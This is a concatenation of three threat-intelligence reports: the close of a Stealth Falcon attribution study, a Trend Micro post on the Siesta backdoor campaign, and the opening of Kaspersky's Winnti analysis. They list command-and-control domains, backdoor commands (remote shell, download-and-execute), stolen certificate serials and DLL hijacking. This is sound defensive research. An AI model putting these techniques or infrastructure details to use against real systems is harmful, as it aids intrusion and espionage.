Some of the social engineering was highly intricate, particularly the email from Andrew Dwight about his ski holiday.
Stealth Falcon also shows familiarity with creating and maintaining a range of fictitious personas, and registering and managing a significant amount of attack and C2 infrastructure with concern for operational security.
The infrastructure behind the malware attacks showed good compartmentalization of identities.
We rarely found the same (fake) registration information used for more than one C2 domain.
Stealth Falcon operators also appear to have deleted one of their attack domains, adhostingcache.com when they realized their attempt to target Donaghy had failed.
We also noted that the (self-signed) SSL certificates on the C2 domains were changed several times as we monitored the infrastructure, perhaps in an attempt to thwart fingerprinting of their infrastructure via SSL certificates.
This level of sophistication is consistent with a state sponsored attacker.
Importantly, we found little evidence that indicate criminal or other motivation for the attack, with no evidence of financial or industry targeting.
We also note that while some Stealth Falcon domains were registered on anonymousbitcoindomains.com, which is linked to APT28 activities, we found no evidence to support such a connection.
|
127
|
See Appendix G: No Evidence of APT28 Connection for more details.
| 29,067
| 29,468
| 402
|
data/reports_final/0127.txt
|
See Appendix G: No Evidence of APT28 Connection for more details.
Hypothesis 2: Stealth Falcon is Not State Sponsored We have considered the possibility that Stealth Falcons operators are not state sponsored, but ultimately find little evidence to support this possibility.
Stealth Falcons attacks show no evidence of cyber criminal motivations, like financial theft or fraud, nor is there any evidence of attempts to steal intellectual property or conduct other forms of economic espionage.
Instead, the targets are politically engaged individuals and public figures.
Furthermore, the activity of targets we have been able to identify often concerns domestic UAE issues.
Therefore, we would need to posit an operator with an interest in individuals known for their engagement in domestic UAE issues.
Other potential motivations might include blackmail or extortion.
If this were the case, however, we might expect follow-up interactions between attackers and successful victims, and we would also expect attackers to use off-the-shelf Remote Access Tools (RATs), rather than apparently coding a general-purpose RAT from scratch.
This would save them the trouble of needing to load additional malware to exfiltrate files or other material.
We are aware of no evidence of follow-up interactions between the operators and successful victims as part of any extortion attempts.
Furthermore, Stealth Falcons use of JavaScript to profile and de-anonymize victims seems inconsistent with a primary motivation of collecting information that could be used for blackmail.
The strongest scenario for a non-state sponsored attacker is thus a politically motivated group.
Stealth Falcon targets are primarily individuals known for their criticism of the UAE government.
It is perhaps conceivable that a group of pro- government hackers might, without coordination, target these individuals.
There are, however, several features of Stealth Falcons activities that tell against this possibility.
First, there is limited existing evidence that such autonomous groups exist and are active in the UAE.
Given what is known about this kind of group, we might expect such a group to have engaged in defacements, public boasting, or other public-facing activities related to Stealth Falcons campaign.
Furthermore, it seems unlikely that a previously unknown political group would have the resources to develop and maintain Stealth Falcons fictitious personas and compartmentalized infrastructure.
Evaluation of Hypotheses We evaluated both hypotheses and found Hypothesis 1: Stealth Falcon is State Sponsored to be the best at explaining the many elements that we have observed.
Stealth Falcons tactics, resources, and targets all fit with the profile of a state sponsored attacker.
Furthermore, the circumstantial evidence we have presented in this report is suggestive of a link between Stealth Falcon and an entity within the UAE Government.
8.
Conclusion: The Big Picture Stealth Falcon appears to be a new, state sponsored threat actor.
As an operator, Stealth Falcon is distinguished by well informed and sophisticated social engineering, combined with moderately sophisticated97 technical attempts to deanonymize and monitor political targets working on the UAE, and relatively simple malcode.98 Social Engineering and the Achilles Heel of Civil Society Stealth Falcons technical approach may not be cutting edge, but the operators are neither unsophisticated or ineffective.
Analyzed holistically as an operation, Stealth Falcon is a logical and multi-pronged approach to compromising and unmasking a class of targets.
Stealth Falcons campaign highlights the power of social engineering, once a technical bar has been met, in conducting a large scale campaign.
Contemporary social movements and civil society groups rely heavily on the internet for both their core operations, as well as advocacy activities.
Yet these groups are often operating outside a centrally managed IT environment.
The constant sharing of links and materials, as well as regular communications with journalists makes them especially vulnerable to targeting with social engineering.
However, the emphasis on social engineering can also cut in the other direction.
Many modern attack techniques require an attacker to interact with a target.
When operators like Stealth Falcon send malicious e-mails and tweets, there are a range of opportunities for retrospective investigation.
As this report shows, the inboxes of targets, for example, are often a more efficient object of investigation than computers themselves, especially once features of a particular campaign are recognized.
The Growing Trend of Impersonating Journalists Stealth Falcon is only the latest example of civil society-focused threat actors impersonating NGOs and journalists to conduct espionage operations.
The tactic has been used by a wide range of actors, including Bahrains government,99 Packrat in Latin America,100 Iranian groups,101 and China related groups,102 among others.
Threat actors seem to gravitate towards this tactic because interacting with journalists is an essential part of civil society activity.
It is common for journalists to send unsolicited messages to activists and civil society organizations asking for information, and there is typically a strong incentive for the organization to engage.
Indeed, even Western law enforcement agencies have occasionally adopted the approach.103 The reporter-source relationship is protected in many jurisdictions, based on the understanding that protecting this trust is important to a healthy and vibrant civil society.
Tactics that play on this trust are risky, and can quickly contribute to eroding the trust on which civil society is based.
Final Note: A Plea for More Research Importantly, while we were unable to identify evidence of a conclusive link between Stealth Falcon and a particular sponsor, we have assembled a body of circumstantial evidence that points to an alignment of interests between Stealth Falcon and the UAE Security Forces.
We hope that other researchers will draw from our findings and work to identify additional cases.
Finally, we urge anyone who recalls receiving a link to aax.me, or an email from Andrew Dwight to contact the authors of this report for further investigation.
Acknowledgements Special thanks to PassiveTotal and Rori Donaghy.
Thanks to Jeffrey Knockel, Sarah McKune, Chris Doman, Mansoureh Mills.
Footnotes 1 http://www.youthdiplomaticservice.com/zzold-business-blog/category/business 2 See for example: http://www.middleeasteye.net/news/leaks-show-uae-shipped-weapons-libya-violated-un-resolution- 1712843977 http://www.middleeasteye.net/news/uae-paid-pr-firm-millions-brief-uk-journalists-qatar-muslim-brotherhood- attacks-1058875159 http://www.middleeasteye.net/news/leaks-show-uae-shipped-weapons-libya-violated-un-resolution- 1712843977 http://www.middleeasteye.net/news/exclusive-emirati-plan-ruling-egypt-2084590756 3 http://www.middleeasteye.net/users/rori-donaghy 4 http://www.middleeasteye.net/about-middle-east-eye-1798743352 5 http://www.echr.org.uk/ 6 http://www.echr.org.uk/?page_id25 7 https://freedomhouse.org/report/freedom-world/2015/united-arab-emirates 8 https://www.hrw.org/world-report/2016/country-chapters/united-arab-emirates 9 https://www.amnesty.org/en/countries/middle-east-and-north-africa/united-arab-emirates/ 10 https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-marczak.pdf 11 https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/ 12 https://wikileaks.org/hackingteam/emails/emailid/585453 13 http://www.uae-embassy.org/news-media/sheikh-mohamed-bin-zayed-al-nahyan-meets-congressional-leaders-and-senior- us-government 14 https://ht.transparencytoolkit.org/rcs-dev5Cshare/HOME/cristian/9.420lic/UAEAF/LICENSE-1262004202-v9.4.lic 15 https://owncloud.org/ 16 https://www.proofpoint.com/us/office365 17 http://righttofightexhibit.org/home/ 18 http://www.powershellempire.com/ 19 http://www.aljazeera.com/indepth/opinion/2015/11/british-pm-middle-east-human-rights-151103070038231.html 20 Based on last-modified header 21 http://www.andlabs.org/tools/jsrecon.html 22 https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-slides.pdf 23 https://yourls.org/ 24 https://github.com/YOURLS/YOURLS 25 A Firefox extension to be used in conjunction with Tor, before the introduction of Tor Browser 26 Importantly, making Tor users appear similar to non-Tor users was a not a goal 27 https://trac.torproject.org/projects/tor/ticket/5922 28 https://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-gregory_fleischer-attacking_tor.pdf 29 https://blog.torproject.org/blog/new-tor-browser-bundles-windows 30 https://blog.torproject.org/blog/tor-browser-36-released 31 https://msdn.microsoft.com/en-us/library/2yfce773(vvs.94).aspxs-e6f6a65cf14f462597b64ac058dbe1d0-system-media- system-caps-note 32 https://en.wikipedia.org/wiki/Cross-origin_resource_sharing 33 https://esupport.trendmicro.com/en-us/home/pages/technical-support/1057722.aspx 34 http://support.kaspersky.com/us/11255 35 http://ssj100.fullsubject.com/t446-avira-antivir-premium-allows-all-outbound 36 http://www.wilderssecurity.com/threads/port-80-is-redirected-to-30606-and-no-webpage-is-opened.212599/ 37 https://community.mcafee.com/thread/21790?tstart0 38 The tool is available at: http://www.andlabs.org/tools/jsrecon.html.
The JavaScript source code may be viewed by viewing the source of jsrecon.html 39 https://media.blackhat.com/bh-ad-10/Kuppan/Blackhat-AD-2010-Kuppan-Attacking-with-HTML5-slides.pdf 40 http://www.andlabs.org/tools/jsrecon/jsrecon.html 41 https://code.google.com/p/google-security-research/issues/detail?id679 42 http://www.huffingtonpost.co.uk/rori-donaghy/uae-94-verdict_b_3549671.html 43 http://en.rsf.org/emirats-arabes-unis-journalist-held-incommunicado-02-08-2013,45013.html 44 https://www.indexoncensorship.org/2015/03/united-arab-emirates-stop-the-charade-and-release-activists-convicted-at-the- mass-uae-94-trial/ 45 http://blogs.voanews.com/repressed/2014/01/14/update-shez-cassim-back-home-after-months-in-uae-jail/ 46 http://www.al-monitor.com/pulse/originals/2014/07/uae-twitter-imprisoned-not-guilty-activist-cyber-crime.html 47 http://newday.blogs.cnn.com/2013/12/11/u-s-man-in-jail-in-dubai-over-parody-video/ 48 https://www.youtube.com/watch?vIUk5CB9kaBY 49 http://www.nydailynews.com/news/national/shezanne-cassim-sentenced-year-united-arab-emirates-parody-video-article- 1.1556327 50 https://www.article19.org/resources.php/resource/37279/en/united-arab-emirates:-stop-the-charade-and-release-activists- convicted-at-the-mass-uae-94-trial 51 https://www.amnesty.org/en/documents/mde25/015/2014/en/ 52 http://www.gc4hr.org/report/view/33 53 http://www.buid.ac.ae/vc 54 http://www.wam.ae/ar/news/emirates/1395239973989.html 55 http://emarati.katib.org/2011/03/09/D8A5D985D8A7D8B1D8A7D8AAD98AD988D986- D98AD8B1D981D8B9D988D986-D8B1D8B3D8A7D984D8A9- D984D8ADD983D8A7D985-D8A7D984D8A5D985D8A7D8B1D8A7/ 56 http://www.cnn.com/2011/WORLD/meast/03/09/uae.petition/ 57 http://www.bbc.com/news/world-middle-east-13043270 58 http://www.alittihad.ae/details.php?id8416y2005 59 http://www.thenational.ae/uae/courts/defendant-denies-insulting-leaders-of-uae-on-social-media 60 http://dohanews.co/uae-court-convicts-qataris-for-insulting-royals-on-social-media/ 61 http://www.thenational.ae/uae/foreign-agent-ordered-to-spread-false-information-about-uae 62 https://www.instagram.com/9ip/ 63 https://twitter.com/Bu_saeed2/status/158267593269063680 64 http://www.gc4hr.org/news/view/198 65 http://www.echr.org.uk/?page_id207 66 https://twitter.com/islam_way_2030/status/232392466760863744 67 https://twitter.com/a7rarelemarat/status/259883131807621120 68 http://www.bbc.com/news/world-middle-east-20768205 69 https://twitter.com/islam_way_2030/status/232393358243401728 70 http://www.echr.org.uk/?p1104 71 https://twitter.com/Dwight389/status/327033672979079168 72 http://en.rsf.org/emirats-arabes-unis-journalist-held-incommunicado-02-08-2013,45013.html 73 http://www.al-monitor.com/pulse/originals/2014/07/uae-twitter-imprisoned-not-guilty-activist-cyber-crime.html 74 https://twitter.com/Dwight389/status/398413653315031041 75 http://www.thenational.ae/uae/courts/20150518/five-qataris-found-guilty-of-insulting-uae-royals 76 https://twitter.com/MiriamKhaled/status/156625204280434688 77 https://twitter.com/Bu_saeed2/status/156781983983349760 78 https://twitter.com/kh_oz/status/351828658371039233 79 https://twitter.com/Dwight389/status/332452681325088768 80 https://twitter.com/r7aluae2/status/156418043424157696 81 http://www.huffingtonpost.co.uk/rori-donaghy/uae-94-verdict_b_3549671.html 82 https://twitter.com/Bu_saeed2/status/156406670866653184 83 https://github.com/YOURLS/YOURLS/wiki/Spam 84 http://www.bbc.com/news/world-middle-east-20768205 85 https://www.passivetotal.org/ 86 sonar-ssl 87 https://wordsecure.com/ 88 https://github.com/quasar/QuasarRAT/blob/master/Client/Core/Recovery/Browsers/InternetExplorer.cs 89 See https://web.archive.org/web/20131207060523/https://velocityfiles.com/login.php and https://web.archive.org/web/20131207054158/https://velocityfiles.com/register.php 90 http://templates.entheosweb.com/template_number/live_demo.asp?TemplateID54257 91 http://aax.me/1a732 92 https://en.wikipedia.org/wiki/Emirates_Discussion_Forum 93 http://www.echr.org.uk/?p1104 94 https://twitter.com/Ahmed_Mansoor/status/256142870896054273 and https://twitter.com/Ahmed_Mansoor/status/256144504116109312 95 https://metrics.torproject.org/ 96 http://www.bbc.com/news/world-middle-east-20768205 97 e.g., local portscanning from webpages with JS-Recon, determining web browser versions by testing JavaScript functionality, Tor Browser profiling bug, macro infection.
98 e.g., Powershell remote shell.
99 https://citizenlab.org/2012/07/from-bahrain-with-love-finfishers-spy-kit-exposed/ 100 https://citizenlab.org/2015/12/packrat-report/ 101 https://citizenlab.org/2015/08/iran_two_factor_phishing/ 102 https://targetedthreats.net/ 103 http://www.latimes.com/nation/la-na-associated-press-lawsuit-20150827-story.html
The Siesta Campaign: A New Cybercrime Operation Awakens In the past few weeks, we have received several reports of targeted attacks that exploited various application vulnerabilities to infiltrate various organizations.
Similar to the Safe Campaign, the campaigns we noted went seemingly unnoticed and under the radar.
The attackers orchestrating the campaign we call the Siesta Campaign used multicomponent malware to target certain institutions that fall under the following industries: Consumer goods and services Energy Finance Healthcare Media and telecommunications Public administration Security and defense Transport and traffic Threat actors dont always rely on complex attack vectors to infiltrate an organizations network.
Attackers can also make use of basic social engineering techniques for their victims to take the bait, such as in our case study below.
The Siesta Campaign: A Case Study We are currently investigating an incident that involved attackers sending out spear-phishing emails addressed to executives of an undisclosed company.
These emails were sent from spoofed email addresses of personnel within the organization.
Instead of using attachments and document exploits, this specific campaign served their malware through a legitimate-looking file download link.
To lure the target into downloading the file, the attacker serves the archive under a URL path named after the target organizations name as cited below: http://malicious domain/organization name/legitimate archive name.zip This archive contains an executable (TROJ_SLOTH) disguised as a PDF document.
When executed, it drops and opens a valid PDF file, which was most probably taken from the target organizations website.
Along with this valid PDF file, another malicious component is also dropped and executed in the background.
This backdoor component is named googleBLOCKED.exe.
(
Due to the ongoing investigation, we are http://blog.trendmicro.com/trendlabs-security-intelligence/hiding-in-plain-sight-a-new-apt-campaign/ unfortunately unable to share hashes and filenames at this time.)
This backdoor connects to http://www.microBLOCKED.
com/index.html, which are its command-and-control (CC) servers.
Trend Micro identifies these samples as BKDR_SLOTH.B.
At this point, the malware begins waiting for additional commands from the attacker.
The encrypted commands that are accepted are: Sleep: Commands the backdoor to sleep for specified number of minutes We have received a sleep command of sleep:120 during our analysis which means that the malware will wait for 2hrs before establishing a connection again to the CC server Download: download_url Commands the backdoor to download and execute a file (most probably another Win32 executable) from a specified URL The CC servers used in this campaign are found to be newly registered and also short-lived, making it difficult for us to track the malwares behavior.
Based on our research, we found 2 variants of the malware used in this campaign.
Although not exactly alike, the behaviors are nearly identical.
One of the similar samples is a file named Questionaire Concerning the Spread of Superbugs February 2014.exe (SHA1: 014542eafb792b98196954373b3fd13e60cb94fe).
This sample drops the file UIODsevr.exe, its backdoor component which behaves similarly as BKDR_SLOTH.B with the addition of communicating to its CC at skysBLOCKEDcom.
These samples are identified by Trend Micro as BKDR_SLOTH.A.
Both variants excessively use Sleep calls, which renders the malware dormant for varying periods of time, hence the campaign name Siesta (which means to take a short nap in Spanish).
Commands are being served through HTML pages using different keywords as listed below: Variant 1 prefix: SC Variant 2 prefix: longDesc suffix: .txt Listed below are the backdoor commands we were able to see from our analysis: http://about-threats.trendmicro.com/us/malware/BKDR_SLOTH.A Variant 1 run1 open a remote shell run2 pipe shell commands from URL1 run3 pipe shell commands from URL2 http pipe shell commands from C2 x_ sleep for specified number of minutes Variant 2 sleep: sleep for specified number of minutes download: download and execute another executable from C2 Attribution Attribution of campaigns and attack methods can often be difficult.
We were able to identify this new campaign through inspecting hashes, CCs, registrants, commands, and additional information.
Figure 1.
Attribution Graph (click the thumbnail for full view) During the course of our investigation into this new campaign, we investigated the malware dropped.
We quickly noticed the registrant of skyBLOCKED.com is also the same registrant as http://blog.trendmicro.com/trendlabs-security-intelligence/files/2014/03/siesta_attribution2.png microBLOCKED.com and ifuedBLOCKED.net.
This individual used the name Li Ning and others with an email address of xiaomaoBLOCKED163.com.
This individual also recently registered 79 additional domains.
There are a total of roughly 17,000 domains registered with this same email address.
Figure 2.
Domains registered under the name Li Ning, based on Whois data Conclusion Early detection is crucial in preventing targeted attacks from exfiltrating confidential company data.
Organizations and large enterprises need an advanced threat protection platform like Trend Micro Deep Discovery, which can mitigate the risks posed by targeted attacks through its various security technologies and global threat intelligence.
At the heart of our Custom Defense solution is Deep Discovery which provides real-time local and global intelligence across the attack life cycle.
This can help IT administrators understand the nature of the attack they are dealing with.
Trend Micro blocks all related threats, emails and URLs associated with these attacks.
As always, we advise users to exercise caution when opening emails and links.
With additional insights and analysis from Kervin Alintanahin, Dove Chiu, and Kyle Wilhoit.
Winnti More than just a game Winnti More than just a game April 2013 Kaspersky Lab Global Research and Analysis Team Contents Executive Summary ............................................................................................... 2 Winnti 1.0 Technical Analysis ............................................................................... 10 Real Case Investigation (Winnti 2.0) .................................................................... 26 Source of Attacks ................................................................................................. 51 The Search for Attackers (XYZ incident) .............................................................. 53 Conclusions .......................................................................................................... 80 Appendix .............................................................................................................. 81 Winnti More than just a game Executive Summary This research, which started in autumn of 2011 by Kaspersky Lab, is still ongoing.
The subject of this research project is a series of targeted attacks against private companies around the world.
In the research, we reveal activity of one of the hacking groups which has Chinese origins.
This group was named Winnti.
According to our estimates, the Winnti group has been active for several years and specializes in cyber-attacks against the online video game industry.
The main objective of the group is to steal source code of online game projects as well as digital certificates of legitimate software vendors.
Besides that, they are deeply interested in the set-up of network infrastructure (including production gaming servers) and new developments such as conceptual ideas, design and more.
We arent the first to investigate the attacks attributed to the Winnti group..
It is known that, at least in 2010, the U.S.- based company HBGary investigated information security incidents related to the Winnti group at one of HBGarys customers an American video game production company.
In the beginning In the autumn of 2011, a Trojan was detected on a large number of computers all of them linked by the fact that they were used by players of a popular online game.
It emerged that the piece of malware landed on users computers as part of a regular update from the games official update server.
Some even suspected that the publisher itself was spying on its customers.
However, it later became clear that the malicious program ended up on the users computers by mistake: the cybercriminals were in fact targeting the companies that develop and release computer games.
The computer game publisher whose servers spread the Trojan asked Kaspersky Lab to analyze the malicious program that was found on its update server.
It turned out to be a DLL library compiled for a 64-bit Windows environment and even used a properly signed malicious driver.
The malicious DLL infected gamers computers running under either 32-bit or 64-bit operating systems.
It could not start in 32-bit environments, but it could, under certain conditions, launch without the users knowledge or consent in 64-bit environments, though no such accidental launches have been detected.
The DLL contained a backdoor payload, or, to be exact, the functionality of a fully-fledged Remote Administration Tool (RAT), which gave the cyber-criminals the ability to control the victim computer without the users knowledge.
The malicious module turned out to be the first Trojan for the 64-bit version of Microsoft Windows with valid digital signature that we have seen.
We used to see similar cases before, but in all previous incidents we have seen digital signature abuse, there were only 32-bit applications.
At an early stage of our research, we identified a number of similar backdoors, both 32-bit and 64-bit, in our collection of malware samples.
Thesewere detected under various verdicts.
We grouped them together into a separate family.
Symantec appears to be the first to name these malicious programs we kept Symantecs name Winnti More than just a game Winnti in the name of the malware family we created: Backdoor.
Win32(Win64).Winnti.
As for the people behind these attacks involving this remote administration tool, we ended up calling them the Winnti group.
Interestingly, the digital signature belonged to another video game vendor - a private company known as KOG, based in South Korea.
The main business of this company was MMRPG (massively multi player online role-playing games) games, which was identical to the business area of the first victim.
We contacted KOG, whose certificate was used to sign malicious software and notified Verisign, which issued the certificate for KOG.
As a result, the certificate was revoked.
Digital Certificates When we discovered the first stolen digital certificate, we didnt realize that stealing the certificates and signing malware for upcoming attacks against other victims was the modus operandi of that group.
In eighteen months, we manage to discover more than a dozen compromised digital certificates.
Moreover, we found that those digital certificates seemed to have been used in attacks organized by other hacking groups, presumably coming from China.
For example, an attack against South Korean social networks Cyworld and Nate in 2011 (http://www.bbc.co.uk/news/technology-14323787) - the attackers used a Trojan that was digitally signed using the certificate of YNK Japan Inc gaming company.)
A digital certificate of the same company was used recently (March 2013) in Trojans targeting Tibetan and Uyghur activists (https://www.securelist.com/en/blog/208194165/New_Uyghur_and_Tibetan_Themed_Attacks_Using_PDF_Exploi ts).
In fact, this story has long roots dating back to 2011.
We highly recommend reading this Norman blog post of a similar incident here: http://blogs.norman.com/2011/security-research/invisible-ynk-a-code-signing-conundrum.
http://www.bbc.co.uk/news/technology-14323787 https://www.securelist.com/en/blog/208194165/New_Uyghur_and_Tibetan_Themed_Attacks_Using_PDF_Exploits https://www.securelist.com/en/blog/208194165/New_Uyghur_and_Tibetan_Themed_Attacks_Using_PDF_Exploits http://blogs.norman.com/2011/security-research/invisible-ynk-a-code-signing-conundrum Winnti More than just a game At the same time, in March 2013, Uyghur activists were targeted by another malware which was digitally signed by another gaming company called MGAME Corp according to http://www.f- secure.com/weblog/archives/00002524.html We believe that the source of all these stolen certificates is same group which we call Winnti.
This group either has close contacts with other Chinese hacker groups or sells the certificates on the black market in China.
Below is the list of known compromised companies and digital certificates used by the Winnti group in different campaigns: Company Serial number Country ESTsoft Corp 30 d3 fe 26 59 1d 8e ac 8c 30 66 7a c4 99 9b d7 South Korea Kog Co., Ltd. 66 e3 f0 b4 45 9f 15 ac 7f 2a 2b 44 99 0d d7 09 South Korea LivePlex Corp 1c aa 0d 0d ad f3 2a 24 04 a7 51 95 ae 47 82 0a South Korea/ Philippines MGAME Corp 4e eb 08 05 55 f1 ab f7 09 bb a9 ca e3 2f 13 cd South Korea Rosso Index KK 01 00 00 00 00 01 29 7d ba 69 dd Japan Sesisoft 61 3e 2f a1 4e 32 3c 69 ee 3e 72 0c 27 af e4 ce South Korea Wemade 61 00 39 d6 34 9e e5 31 e4 ca a3 a6 5d 10 0c 7d Japan/South Korea/US YNK Japan 67 24 34 0d db c7 25 2f 7f b7 14 b8 12 a5 c0 4d Japan Guangzhou YuanLuo 0b 72 79 06 8b eb 15 ff e8 06 0d 2c 56 15 3c 35 China Fantasy Technology Corp 75 82 f3 34 85 aa 26 4d e0 3b 2b df 74 e0 bf 32 China Neowiz 5c 2f 97 a3 1a bc 32 b0 8c ac 01 00 59 8f 32 f6 South Korea Victims Its tempting to assume that Advanced Persistent Threats (APTs) primarily target high-level institutions: government agencies, ministries, military and political organizations, power stations, chemical plants, critical infrastructure networks, and so on.
In this context, it seems unlikely that a commercial company would be at risk unless it was operating on the scale of Google, Adobe or The New York Times, which was recently targeted by a cyber-attack, and this perception is reinforced by the publicity that attacks on corporations and government organizations usually receive.
However, any company with data that can be effectively monetized is at risk from APTs.
This is exactly what we encountered here: it was not a governmental, political, military, or industrial organization.
The target was specifically gaming companies.
Analyzing the Winnti samples helped to identify who and what were the targets.
We found that we were dealing with targeted attacks: the Winnti team infects companies that develop and release computer games.
It appears the team has been active for quite a while since 2009.
http://www.f-secure.com/weblog/archives/00002524.html http://www.f-secure.com/weblog/archives/00002524.html https://en.wikipedia.org/wiki/Advanced_Persistent_Threat Winnti More than just a game Its difficult to name all the victims of the Winnti team.
Judging by the information that we have at our disposal namely the tags within malicious programs, the names of the CC domains, the companies whose digital certificates were stolen to sign malware, and the countries where detection notifications came from we can say that at least 35 companies were infected by the Winnti malware at some time.
Countries where the affected companies are located: Asia Europe South America North America China India Indonesia Japan Philippines S. Korea Taiwan Thailand Vietnam Belarus Germany Russia Brazil Peru USA This data demonstrates that the Winnti team targets gaming companies located in various parts of the world, albeit with a strong focus on South East Asia.
Countries where gaming companies have been affected This geographic diversity is hardly surprising.
Often, gaming companies (both publishers and developers) are international, having representatives and offices worldwide.
Also, it is common practice for gaming companies from various regions to cooperate.
The developers of a game may be located in a different country from its publisher.
When a game eventually reaches markets in regions away from its initial home, it is often localized and released by other publishers.
In the course of this cooperation, the partner companies often grant each other access to network resources to exchange data associated with the gaming content, including distribution kits, Winnti More than just a game gaming resources, resource assembly kits, etc.
If one company in the network gets infected, its easy for the cybercriminals to spread the infection throughout the partnership chain.
Winnti CC Structure During the investigation, we identified more than a hundred malicious programs, each individually compiled to attack a particular company.
Typically, separate command-and-control (CC) domains were assigned to each targeted company.
Virtually all the CC domains were arranged as follows: a second-level domain was created without a DNS A-record, i.e., there was no IP address assigned to it.
In cases where there was an A-record, the assigned IP address was typically 127.0.0.1.
It is also noteworthy that some of the second-level domains that the cybercriminals created for their CC had very similar names to the domain hosting the site of a certain real gaming company.
And the malicious users domain was resolved to the same IP address which the site of the real gaming company used.
In any case, the third-level domains resolved to IP addresses assigned to the attackers actual CC servers.
CC domain naming and resolution Sometimes the Winnti team registered their CC units with public hosts.
Judging by the samples identified, these CC centers were subdomains of such domains as 6600.org, 8866.org, 9966.org or ddns.net.
From the names of the CC domains or subdomains, the attack targets or countries of residence could be guessed, as in: ru.gcgame.info kr.zzsoft.info jp.xxoo.co us.nhntech.com fs.nhntech.com as.cjinternet.us The subdomains ru, kr, jp and us most probably mean that these CC servers manage bots hosted on the computers of companies located in Russia, South Korea, Japan and the U.S. respectively, while fs and as are acronyms for the names of the companies being attacked.
Winnti More than just a game Sometimes Winntis malicious programs had a local IP address, such as 192.168.1.136, specified in the settings for the CC.
This could mean that, at some point in time, there was an infected computer that did not have a connection to the Internet, but the cybercriminals needed control over it (it may have been infected while malware was spread via a corporate network).
In this case, the cybercriminals deployed a dedicated local CC server on another compromised computer within the same local network which did have an Internet connection via that CC, the first victim computer could be controlled.
System administrators often try to isolate critical computers from the outside world.
This decreases the probability of haphazard infection, but, apparently, does not always help in a targeted attack.
In the Winnti samples that were detected and analyzed, we found 36 unique CC domains.
Most probably, this is only a small portion of all existing Winnti CC domains, as we only managed to obtain some of the samples from this malware family.
This is hardly surprising since these malicious programs are used to execute targeted attacks, so no information is available about many instances of infection for this reason, we have no way of obtaining samples of the malware used in these undisclosed attacks.
Domain names used in the attacks we discovered newpic.dyndns.tv update.ddns.net nd.jcrsoft.com cc.nexoncorp.us kr.zzsoft.info as.cjinternet.us ca.zzsoft.info sn.jcrsoft.com lp.apanku.com sshd.8866.org ftpd.6600.org tcpiah.googleclick.net rss.6600.org lp.zzsoft.info lp.gasoft.us eya.jcrsoft.com ftpd.9966.org kr.xxoo.co wi.gcgame.info tcp.nhntech.com ka.jcrsoft.com my.zzsoft.info jp.jcrsoft.com su.cjinternet.us vn.gcgame.info ap.nhntech.com ru.gcgame.info kr.jcrsoft.com wm.ibm-support.net fs.nhntech.com docs.nhnclass.com rh.jcrsoft.com wm.nhntech.com Winnti More than just a game wm.myxxoo.com ka.zzsoft.info ad.jcrsoft.com my.gasoft.us Knowing the 2nd level domains used by Winnti, we brute forced through all third level sub-domains up to 4 symbols long, and identified those that have the IP addresses of real servers assigned to them.
Having searched through subdomains for a total of 12 second level domains, we identified 227 live third level domains.
Many of them are CC servers for Winnti-class malware that have hitherto remained unidentified.
Analyzing the WHOIS data for the 12 second level domains, we found the following list of email addresses used for registration: evilsexgmail.com jslee.jcrgmail.com whoismydnsgmail.com googl3live.com wzcccnkker.com apanku2009gmail.com For some of these domains, registration data proved to be the same as those for the domain google.com: Registrant: Google Inc. 1600 Amphitheatre Parkway Mountain View, California 94043 United States 1.6503300100 Judging by the domain registration data, the Winnti team started their criminal activities as far back as 2007.
The early domains were involved in spreading rogue anti-virus programs (FakeAV).
From 2009 onwards, domains began to emerge hosting CC servers for bots used to infect gaming companies.
Apparently, the cybercriminals graduated to relatively large-scale penetrations into the corporate networks of gaming companies starting from 2010.
Known Malware The favorite tool of the attackers is a malicious program we call Winnti.
It has evolved since the first use, but we divide all variants into two generations: 1.x and 2.x.
Our publication describes both variants of this tool.
The second generation (2.x) was used in one of the attacks that we investigated in the active stage and helped the victim to interrupt data transfer and isolate infections in a corporate network.
In addition to that, we observed usage of a popular backdoor known as PlugX, which is believed to have Chinese origins, however used only previously in attacks against Tibetan activists.
Winnti More than just a game The Commercial Interest As has been stated above, APTs can target any commercial company if cyber-criminals find a way to financially profit from the attack.
So what methods do cyber-criminals use to generate illicit earnings from attacks on gaming companies?
Based on the available information, we have singled out three main monetization schemes that could be used by the Winnti team.
The unfair accumulation of in-game currency/gold in online games and the conversion of virtual funds into real money.
Theft of source code from the online games server to search for vulnerabilities in games often linked to point 1.
Theft of source code from the server part of popular online games to further deploy pirate servers.
Lets look at an example.
During our investigation of an infection at a computer gaming company, we found that malware had been created for a particular service on the companys server.
The malicious program was looking for a specific process running on the server, injected code into it, and then sought out two places in the process code where it could conceal call commands for its function interceptors.
Using these function interceptors, the malicious programs modified process data which was processed in those two places, and returned control back.
Thus, the attackers change the normal execution of the server processes.
Unfortunately, the company was not able to share its targeted application with us, and we cannot say exactly how this malicious interference affected gaming processes.
The company concerned told us that the attackers aim was to acquire gaming gold illegally.
Malicious activity like this has an adverse impact on the game itself, tilting the balance in favor of cheats.
But any changes the Winnti team introduces into the game experience are unlikely to be very noticeable.
After all, maintaining a skillful balance is the main attribute of online games.
Users will simply stop playing if they feel that other players are using non-standard methods to create an advantage beyond normal gameplay or if the game loses its intrinsic competitiveness due to resources or artifacts appearing in the game without the developers knowledge.
At the same time, the attackers are keen for the game to remain popular otherwise, they would be unable to effectively turn all the time and effort of infecting a gaming company into financial gain.
Members of the Winnti team are patient and cautious.
Cyber-criminals have affected the processes of the online games from the infected companies and stolen money from them for years, but they have found ways of doing this without attracting attention to themselves.
Winnti More than just a game Winnti 1.0 Technical Analysis The Initial DLL Everything starts with a DLL.
The DLL mimics one of the standard Windows libraries, winmm.dll or apphelp.dll.
Since, in the vast majority of cases the samples that we detected disguised themselves as winmm.dll, we would like to fix this name for this malicious library at the end of this document.
Legitimate winmm.dll is a Windows system library that provides multimedia functions.
It is located in the WINDIR\System32 folder.
The attackers counted on this being a library providing basic system functions and hence the probability of it being loaded by some program is very high (this is also valid for apphelp.dll).
For example, winmm.dll is loaded by explorer.exe, which is launched during operating system startup and is essential for Windows user interface.
The mechanism to start the malware is simple: if some benign application depends on Windows winmm.dll (located in WINDIR\System32\winmm.dll) but the evil twin library with the same name (winmm.dll) is located in the folder of benign application, the malicious library will be loaded instead of the system one.
Taking advantage of their control of an infected computer, the attackers place a malicious library in the WINDIR folder.
The same folder also contains explorer.exe.
